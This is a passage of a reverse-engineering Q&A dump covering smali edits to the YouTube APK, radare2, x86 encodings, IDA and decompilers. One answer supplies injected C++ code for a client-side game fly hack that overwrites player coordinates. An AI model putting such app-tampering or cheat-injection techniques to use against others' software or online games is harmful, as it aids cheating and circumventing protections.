android:theme=&quot;@style/Theme.YouTube.Light&quot;&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;android.max_aspect&quot; android:value=&quot;2.1&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;com.google.android.backup.api_key&quot; android:value=&quot;AEdPqrEAAAAIXi58ScnYbhPAPl8s4DjDkSik7XGKNcn8YqfZFg&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;to.dualscreen&quot; android:value=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;meta-data android:name=&quot;com.google.android.apps.youtube.config.BuildType&quot; android:value=&quot;RELEASE&quot;/&amp;gt;&#xA;    &amp;lt;receiver android:enabled=&quot;true&quot; android:exported=&quot;true&quot; android:name=&quot;com.google.android.apps.youtube.app.PowerConnectionReceiver&quot;&amp;gt;&#xA;        &amp;lt;intent-filter&amp;gt;&#xA;            &amp;lt;action android:name=&quot;android.intent.action.ACTION_POWER_CONNECTED&quot;/&amp;gt;&#xA;            &amp;lt;action android:name=&quot;android.intent.action.ACTION_POWER_DISCONNECTED&quot;/&amp;gt;&#xA;        &amp;lt;/intent-filter&amp;gt;&#xA;    &amp;lt;/receiver&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;YouTubeApplication.smali :&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#####MY_CODE####&#xA;.field private mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;&#xA;.&#xA;.&#xA;.&#xA;.method public onCreate()V&#xA;.&#xA;.&#xA;.&#xA;    .line 101&#xA;     invoke-super {p0}, Lcvu;-&amp;gt;onCreate()V&#xA;     #####MY_CODE####&#xA;     new-instance v0, Landroid/content/IntentFilter;&#xA;     invoke-direct {v0}, Landroid/content/IntentFilter;-&amp;gt;&amp;lt;init&amp;gt;()V&#xA;     .local v0, &quot;filter&quot;:Landroid/content/IntentFilter;&#xA;     const-string v1, &quot;ACTION_POWER_CONNECTED&quot;&#xA;     invoke-virtual {v0, v1}, Landroid/content/IntentFilter;-&amp;gt;addAction(Ljava/lang/String;)V&#xA;     new-instance v1, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;&#xA;     invoke-direct {v1}, Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;-&amp;gt;&amp;lt;init&amp;gt;()V&#xA;     move-object/from16 v2, p0&#xA;     iput-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&amp;gt;mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;&#xA;     iget-object v1, v2, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&amp;gt;mPower:Lcom/google/android/apps/youtube/app/PowerConnectionReceiver;&#xA;     invoke-virtual {v2, v1, v0}, Lcom/google/android/apps/youtube/app/YouTubeApplication;-&amp;gt;registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;&#xA;    ...&#xA;.end method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;PowerConnectionReceiver.smali :&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;   .class public Lcom/google/android/apps/youtub/app/PowerConnectionReceiver;&#xA;   .super Landroid/content/BroadcastReceiver;&#xA;   .source &quot;PowerConnectionReceiver.java&quot;&#xA;    #direct methods&#xA;   .method public constructor ()V&#xA;       .locals&#xA;       .prologue&#xA;       .line 8&#xA;       invoke-direct {p0}, Landroid/content/BroadcastReceiver;-&gt;()V&#xA;       return-void&#xA;   .end method&#xA;   #virtual methods&#xA;   .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V&#xA;        .locals 3&#xA;        .param p1, &quot;context&quot;    # Landroid/content/Context;&#xA;        .param p2, &quot;intent&quot;    # Landroid/content/Intent;&#xA;        .prologue&#xA;        .line 11&#xA;        invoke-virtual {p2}, Landroid/content/Intent;-&gt;getAction()Ljava/lang/String;&#xA;        move-result-object v0&#xA;        .line 12&#xA;        .local v0, &quot;action&quot;:Ljava/lang/String;&#xA;        const-string v1, &quot;android.intent.action.ACTION_POWER_CONNECTED&quot;&#xA;        invoke-virtual {v0, v1}, Ljava/lang/String;-&gt;equals(Ljava/lang/Object;)Z&#xA;        move-result v1&#xA;        if-eqz v1, :cond_0&#xA;        .line 13&#xA;        const-string v1, &quot;POWER_CONNECTION_MESSAGE&quot;&#xA;        const/4 v2, 0x1&#xA;        invoke-static {p1, v1, v2}, Landroid/widget/Toast;-&gt;makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;&#xA;        move-result-object v1&#xA;        invoke-virtual {v1}, Landroid/widget/Toast;-&gt;show()V&#xA;        .line 15&#xA;        :cond_0&#xA;        return-void&#xA;    .end method&#xA;    &lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't know why this happen?&lt;/p&gt;&#xA;" OwnerUserId="24258" LastEditorUserId="24258" LastEditDate="2018-05-05T10:21:00.427" LastActivityDate="2019-08-29T12:02:10.257" Title="verifyError in youtube android app modification" Tags="|decompilation|android|obfuscation|apk|byte-code|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18166" PostTypeId="1" CreationDate="2018-05-04T13:31:12.457" Score="0" ViewCount="1722" Body="&lt;p&gt;when I try to reverse my mips binary in radare2, I take some instruction invalid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo r2 -a mips -b 32 -d 2700&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;start my binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chroot . ./qemu-mips-static bin/resident&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for this picture, but Internet in my pc is of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pg5pX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pg5pX.jpg&quot; alt=&quot;rabin2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xVYSV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xVYSV.jpg&quot; alt=&quot;code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program don't work, his fault and exit. Please help.&lt;/p&gt;&#xA;" OwnerUserId="19827" LastEditorUserId="18698" LastEditDate="2018-05-04T20:18:20.997" LastActivityDate="2018-05-06T20:15:00.120" Title="Reverse mips binary with radare2" Tags="|radare2|mips|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18167" PostTypeId="2" ParentId="18155" CreationDate="2018-05-04T13:54:57.350" Score="0" Body="&lt;p&gt;x86 (ISA) Instruction Set Architecture is a &lt;strong&gt;variable length&lt;/strong&gt; primarily CISC design   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CISC is complex instruction set computing   &#xA;RISC is Reduced instruction set computing   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the x86 ISA can encode operations between &lt;strong&gt;1 byte to 15 bytes max&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the human readable form of encoding is called &lt;strong&gt;mnemonic&lt;/strong&gt;&lt;br&gt;&#xA;example for mnemonics are &lt;strong&gt;nop, int 3 , push eax etc&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the machine readable form is binary (0,1)&lt;br&gt;&#xA;usually encoded as a BYTE (8 bit) between &lt;strong&gt;0x00 and 0xFF&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;(00000000 to 11111111)&lt;/strong&gt;  or between &lt;strong&gt;2&lt;sup&gt;0&lt;/sup&gt; -1 and 2&lt;sup&gt;8&lt;/sup&gt; -1&lt;/strong&gt;&#xA;these bytes are termed opcodes (the hex bytes you see in display) &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Single Byte Encoded Operation examples&lt;br&gt;&#xA;&lt;strong&gt;mnem= mnemonic , enco= Encoding&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mnem&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;strong&gt;enco&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;nop&lt;/strong&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;0x90&lt;/strong&gt; |&lt;br&gt;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;int 3&lt;/strong&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;0xcc&lt;/strong&gt; |&lt;br&gt;&#xA;&lt;strong&gt;push eax&lt;/strong&gt; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;0x50&lt;/strong&gt; | &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Two Byte Encoded Operation examples&lt;br&gt;&#xA;&lt;strong&gt;mnem= mnemonic , enco= Encoding&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mnem&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;strong&gt;enco&lt;/strong&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&lt;br&gt;&#xA;&lt;strong&gt;mov ebp,esp&lt;/strong&gt; |&amp;nbsp;&amp;nbsp;&lt;strong&gt;0x8BEC&lt;/strong&gt; |&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 12 byte Encoded Operation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; for i in range( len(ks.asm(CODE)[0])):&#xA;...     print (hex(ks.asm(CODE)[0][i])),&#xA;...&#xA;0xf0 0x81 0x84 0x4e 0x67 0x45 0x23 0x1 0xef 0xcd 0xab 0x89&#xA;&amp;gt;&amp;gt;&amp;gt; print CODE&#xA;LOCK ADD DWORD PTR DS:[ESI+ECX*2+0x1234567], 0x89ABCDEF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the setting 6 you have circled in you screen shot limits the number of displayed opcodes to a maximum of 6 bytes only &#xA;so in the last instruction above  you will only see a display of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0xf0 0x81 0x84 0x4e 0x67 0x45&lt;/strong&gt;  and not all of the 12 bytes &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-04T13:54:57.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18168" PostTypeId="2" ParentId="18165" CreationDate="2018-05-04T13:58:42.387" Score="0" Body="&lt;p&gt;You'll have to reverse engineer it yourself to find the tamper detection mechanisms. My guess is that an app like Youtube uses quite a few. At the very least, it will almost certainly use Safety Net Attestation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, the error you are getting isn't from the app. That error means that the app bytecode you are trying to run is invalid, which means you screwed up when modifying the app. Did you make any changes to the smali when you rebuilt it? Also, the verfier should post a more detailed error message, so it would be helpful if you could post the complete error.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-05-04T13:58:42.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18169" PostTypeId="1" CreationDate="2018-05-04T14:06:29.520" Score="7" ViewCount="917" Body="&lt;p&gt;I have a piece of firmware that I pulled off an NXP LPC17XX series chip. Through reviewing the processor manual, I was able to identify the entry point of the code and disassemble the code without any issue in IDA Pro. After a short bit of reversing I found a number of functions that are likely printf, sprintf, and their associated helper functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that there are of number of other POSIX functions as well as some core library functions for developing for this chip that are included in  the firmware that I am looking at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to go about identifying those functions? I assume that there would be some way to develop a FLIRT signature for this, but I am unsure what would be the best way to approach developing a proper signature for this firmware. Any help or guidance would be really appreciated!&lt;/p&gt;&#xA;" OwnerUserId="24261" LastActivityDate="2018-05-14T07:31:32.940" Title="Best Way to Identify Statically Linked Functions in Firmware" Tags="|ida|firmware|arm|flirt-signatures|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18170" PostTypeId="1" CreationDate="2018-05-04T15:18:29.237" Score="16" ViewCount="59117" Body="&lt;p&gt;Currently, I only know about apktool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there any tools that helps in checking the code, editing it and compiling it back to apk?&lt;/p&gt;&#xA;" OwnerUserId="24259" LastActivityDate="2020-06-11T10:57:00.670" Title="What are the tools use for reverse engineering android apk?" Tags="|android|apk|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18171" PostTypeId="1" CreationDate="2018-05-04T15:57:50.017" Score="1" ViewCount="308" Body="&lt;p&gt;I have a problem using IDA SDK function &lt;code&gt;del_struc_member(struc_t *sptr, ea_t offset)&lt;/code&gt; ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use it on a member, it creates a gap[4] on the offset ( for dword type), it doesn't recalc the struct and it doesn't shrink it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use another function from SDK, &lt;code&gt;expand_struc(struc_t *sptr, ea_t offset, adiff_t delta, bool recalc=true);&lt;/code&gt; like so &lt;code&gt;expand_struc(struc, 4, -4, true)&lt;/code&gt;; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does delete the member and shrink it, but it deletes other gap's that goes after (that are needed)plus it change the type of other members , for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;before&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int field_1204;&#xA;  _BYTE gap4B8[4];&#xA;  int field_1212;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;after&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  int field_1204;&#xA;  __declspec(align(8)) int field_1212;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i delete member manually by CTRL+E, it does shrink and doesn't create this problems with removing gap's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is correct way of removing a struct member and shrinking it ?&#xA;P.S.&#xA;Maybe i should set new type for all other gap's that are correct and only after that remove the member i don't need and shrink the struct . Or it would create same problems if its array ? &lt;/p&gt;&#xA;" OwnerUserId="14279" LastActivityDate="2018-05-04T15:57:50.017" Title="IDA sdk delete user struct member prevent creating gap" Tags="|ida|c++|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18173" PostTypeId="1" AcceptedAnswerId="18177" CreationDate="2018-05-04T21:19:09.150" Score="4" ViewCount="543" Body="&lt;p&gt;After reading the ins and outs of &lt;a href=&quot;https://stackoverflow.com/questions/36525356/why-is-there-no-accurate-c-decompiler&quot;&gt;compilation differences&lt;/a&gt; between &lt;code&gt;C#&lt;/code&gt; and &lt;code&gt;C++&lt;/code&gt; , my question is, cant we compile the &lt;code&gt;C#&lt;/code&gt;application (or dll) with Visual Studio (or with other program), so similarly to &lt;code&gt;C++&lt;/code&gt; it stripped out many information during compilation and made an app which will be hard for decompilation like &lt;code&gt;C++&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2018-05-05T19:35:30.747" LastActivityDate="2018-05-06T02:00:14.657" Title="Compile C# like C++?" Tags="|c++|compilers|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18174" PostTypeId="1" CreationDate="2018-05-04T22:43:14.847" Score="1" ViewCount="648" Body="&lt;p&gt;Okay. I have a .VRCA file format which I want to retrieve the data from. Where would I need to begin in order to start retrieving data from one of these files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read multiple posts that mention hex editor, but I'll admit that I am a little lost as I have never really attempted this before.&lt;/p&gt;&#xA;" OwnerUserId="24263" LastActivityDate="2018-05-06T09:24:23.763" Title="De-compiling a random file format to retrieve the files?" Tags="|decompilation|file-format|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18176" PostTypeId="2" ParentId="18170" CreationDate="2018-05-05T00:49:05.340" Score="7" Body="&lt;p&gt;If you want to modify code, then the only real option I know of is &lt;code&gt;bak/smali&lt;/code&gt;, which &lt;code&gt;apktool&lt;/code&gt; provides a helpful wrapper for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you merely want to understand the code, there's lots of options. For example, you could use &lt;a href=&quot;https://github.com/Storyyeller/enjarify&quot; rel=&quot;noreferrer&quot;&gt;Enjarify&lt;/a&gt; or dex2jar to translate it to a jar file and then use any Java bytecode tools or decompilers. There's also a few decompilers with native Android support.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-05-05T00:49:05.340" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18177" PostTypeId="2" ParentId="18173" CreationDate="2018-05-05T00:57:45.750" Score="6" Body="&lt;p&gt;There are a number of options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C# code can be compiled to native code (like C++ compilation) using Ngen.exe or .NET Native. Although the IL code and metadata might still be required by the runtime.&lt;/li&gt;&#xA;&lt;li&gt;All kinds of information that is contained in an assembly such as type names, variable names, method names, strings, and constants can be obfuscated. This makes the purpose of a construct difficult to guess just by looking at its name. This makes an assembly more like a native binary that is stripped of debugging information, except that IL code is still much easier to decompile than native code in general. IL instructions cannot be obfuscated as easily.&lt;/li&gt;&#xA;&lt;li&gt;Obfuscate or encrypt everything &quot;managed&quot; including the IL code and modify the native entry point of the assembly so that it calls a native function that will deobfuscate or decrypt (potentially on-demand or as-needed) IL code and metadata. The native function may call an external native library to do the job. This obviously makes decompilation much harder than even decompiling plain native code, but it comes at a run-time performance cost when execute the code. The previous two techniques have basically no performance overhead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21377" LastEditorUserId="21377" LastEditDate="2018-05-06T02:00:14.657" LastActivityDate="2018-05-06T02:00:14.657" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18178" PostTypeId="2" ParentId="18144" CreationDate="2018-05-05T01:58:53.280" Score="1" Body="&lt;p&gt;&lt;strong&gt;Question 3 &amp;amp; 4 Answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move the camera/player in the direction you're facing you can use this function that works on eular angles.  The only addresses you need to find are your current view angles and 3d coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use it to overwrite the player/camera 3d coordinates.  I do it inside of a GetaSyncKeyState call, so it acts when pressing NUMPAD_1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function assumes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;X = pitch, Y = Yaw, Z = Roll&lt;/li&gt;&#xA;&lt;li&gt;the Z of your 3D coordinates are the vertical plane&lt;/li&gt;&#xA;&lt;li&gt;Angles are in degrees&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define PI 3.1415927f&#xA;&#xA;vec3 { float x,y,z; };&#xA;&#xA;vec3 Add(vec3 src, vec3 dst)&#xA;{&#xA;    vec3 sum;&#xA;    sum.x = src.x + dst.x;&#xA;    sum.y = src.y + dst.y;&#xA;    sum.z = src.z + dst.z;&#xA;    return sum;&#xA;}&#xA;&#xA;float DegreeToRadian(float degree)&#xA;{&#xA;    return degree * (PI / 180);&#xA;}&#xA;&#xA;vec3 DegreeToRadian(vec3 degrees)&#xA;{&#xA;    vec3 radians;&#xA;    radians.x = degrees.x * (PI / 180);&#xA;    radians.y = degrees.y * (PI / 180);&#xA;    radians.z = degrees.z * (PI / 180);&#xA;    return radians;&#xA;}&#xA;&#xA;void MoveInCameraDirection(vec3 currAngle, vec3&amp;amp; src, float dist)&#xA;{&#xA;    vec3 d;&#xA;&#xA;    d.x = cosf(DegreeToRadian(currAngle.x - 90)) * dist;&#xA;    d.y = sinf(DegreeToRadian(currAngle.x - 90)) * dist;&#xA;    d.z = sinf(DegreeToRadian(currAngle.y)) * dist;&#xA;&#xA;    src = Add(src, d);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example usage in GetAsyncKetState loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (1)&#xA;{&#xA;    if (GetAsyncKeyState(VK_NUMPAD1) &amp;amp; 1)&#xA;    {&#xA;        MoveInCameraDirection(localPlayer-&amp;gt;angle, localPlayer-&amp;gt;pos, 3);&#xA;        Sleep(20);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;currAngle = your current view angles&lt;/li&gt;&#xA;&lt;li&gt;src = your current position, passed as reference so the function can&#xA;modify it&lt;/li&gt;&#xA;&lt;li&gt;dist = distance you want to travel per execution, between 1 and 5 is&#xA;good&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Call the function when a key is pressed to fly around, move your mouse to aim your dude as usual. I have a working project with this in it that I inject and it works just fine.  Gravity takes control and you drop slightly per tick but you can also disable gravity client side and then you have full freedom.&lt;/p&gt;&#xA;" OwnerUserId="24265" LastActivityDate="2018-05-05T01:58:53.280" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18179" PostTypeId="1" AcceptedAnswerId="18184" CreationDate="2018-05-05T07:45:15.413" Score="2" ViewCount="475" Body="&lt;p&gt;I'm writing an IDC script which accepts a structure and does some processing. Currently, I have to call it by typing structure names. What I want is to make it use the structure under cursor in &quot;Structures&quot; window so I can save a lot of typing. Is there any way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried &lt;code&gt;ScreenEA()&lt;/code&gt;. It returns the address in &quot;Disassembly&quot; window instead of a structure id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDAPython code is also acceptable.&lt;/p&gt;&#xA;" OwnerUserId="22561" LastEditorUserId="22561" LastEditDate="2018-08-02T07:13:23.777" LastActivityDate="2018-08-02T07:13:23.777" Title="IDC: Get structure id under cursor in &quot;Structures&quot; window?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18180" PostTypeId="1" AcceptedAnswerId="18214" CreationDate="2018-05-05T10:10:42.240" Score="8" ViewCount="2048" Body="&lt;p&gt;With Microsoft Visual C++ executables, I often run into decompilations like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl Pbdf::ReadString(char *dst, Pbdf *pbdfOrLength)&#xA;{&#xA;    Pbdf *pbdf; // esi&#xA;&#xA;    pbdf = pbdfOrLength;&#xA;    Pbdf::ReadBytes(&amp;amp;pbdfOrLength, 1, pbdfOrLength);&#xA;    Pbdf::ReadBytes(dst, (unsigned __int8)pbdfOrLength, pbdf);&#xA;    dst[(unsigned __int8)pbdfOrLength] = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function is actually more like this (as seen in a Watcom executable doing the same thing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __usercall Pbdf::ReadString(char *dst@&amp;lt;eax&amp;gt;, Pbdf *pbdf@&amp;lt;edx&amp;gt;)&#xA;{&#xA;    unsigned __int8 length; // [esp+0h] [ebp-14h]&#xA;&#xA;    Pbdf::ReadBytes(pbdf, &amp;amp;length, 1u);&#xA;    Pbdf::ReadBytes(pbdf, dst, length);&#xA;    *((_BYTE *)dst + length) = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, from a Pbdf file-like struct, it's reading a single byte determining the number of following bytes to read into a buffer, and terminates that buffer with a 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the MSVC decompilation, you can see it merged the length and Pbdf struct into one variable, causing me to name the variable &quot;pbdfOrLength&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it somehow possible to tell the decompiler to &quot;split&quot; these variables up / handle them as two separate ones, to get an output similar to what is seen in Watcom?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2018-05-08T20:37:23.637" LastActivityDate="2018-05-08T20:37:23.637" Title="Split variable in Hexrays decompiler?" Tags="|ida|hexrays|decompiler|msvc|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18181" PostTypeId="2" ParentId="18165" CreationDate="2018-05-05T12:29:22.200" Score="0" Body="&lt;p&gt;I found the problem after reviewing the code, it's for setting v1 (variable register), here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const-string v1, &quot;ACTION_POWER_CONNECTED&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;V1 are used before in this line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const/4 v1, 0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i reuse it! so i rename it to v3 and problem solved.&lt;/p&gt;&#xA;" OwnerUserId="24258" LastEditorUserId="24258" LastEditDate="2018-05-06T07:29:09.543" LastActivityDate="2018-05-06T07:29:09.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18182" PostTypeId="1" AcceptedAnswerId="18183" CreationDate="2018-05-05T15:06:57.703" Score="0" ViewCount="100" Body="&lt;p&gt;I'm starting to learn amd86_64 calling convention and how it calls params and clean the stack but the concept hasn't sunk in yet, so i would like to get a help reading the params as this might clear the confusion for me in the future. I used the same function on a different processor architecture before but i'm sure the signature has changed by the devs because I tried to call it same as before but it crashes every time, here's the old signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void(*DrawText)(int, float x, float y, int color, const char * text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the assembly for the function in amd86_64 starting from the caller function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push    rbp&#xA;    mov     rbp, rsp&#xA;    push    r15&#xA;    push    r14&#xA;    push    r13&#xA;    push    r12&#xA;    push    rbx&#xA;    sub     rsp, 178h&#xA;    lea     rdi, [rbp+var_108]&#xA;    mov     esi, 1&#xA;    xor     edx, edx&#xA;    call    sub_937750&#xA;    lea     rax, dword_1885C10&#xA;    vcvtsi2ss xmm0, xmm0, dword ptr [rax+54h]&#xA;    vmovss  [rbp+var_164], xmm0&#xA;    vcvtsi2ss xmm0, xmm0, dword ptr [rax+58h]&#xA;    vmovss  [rbp+var_168], xmm0&#xA;    lea     rsi, a30f_1&#xA;    vmovss  xmm0, dword ptr cs:qword_10799B8&#xA;    xor     edi, edi&#xA;    call    sub_A0E930&#xA;    lea     rcx, qword_17FAB50&#xA;    mov     rcx, [rcx]&#xA;    cmp     byte ptr [rcx+2E87h], 0&#xA;    jnz     loc_4994&#xA;    cmp     byte ptr [rcx+2E81h], 0&#xA;    jz      loc_4994&#xA;    mov     eax, eax&#xA;    vcvtsi2ss xmm0, xmm0, rax&#xA;    vmovss  xmm1, [rbp+var_168]&#xA;    vsubss  xmm0, xmm1, xmm0&#xA;    lea     rax, unk_1871D60&#xA;    vmovss  xmm2, dword ptr [rax]&#xA;    vxorps  xmm1, xmm1, xmm1&#xA;    vucomiss xmm2, xmm1&#xA;    jbe     loc_3E5E&#xA;    vmovss  xmm1, dword ptr cs:qword_10799B8&#xA;    vdivss  xmm1, xmm1, xmm2&#xA;    vmovss  [rbp+var_16C], xmm1&#xA;    vcvtss2sd xmm2, xmm2, xmm2&#xA;    lea     rdi, [rbp+var_108]&#xA;    lea     rdx, a62fFps&#xA;    mov     eax, 0FF0000FFh&#xA;    mov     ecx, 0FF00FFFFh&#xA;    mov     r14d, 0FF00FF00h&#xA;    vucomiss xmm1, dword ptr cs:qword_10799B8+4&#xA;    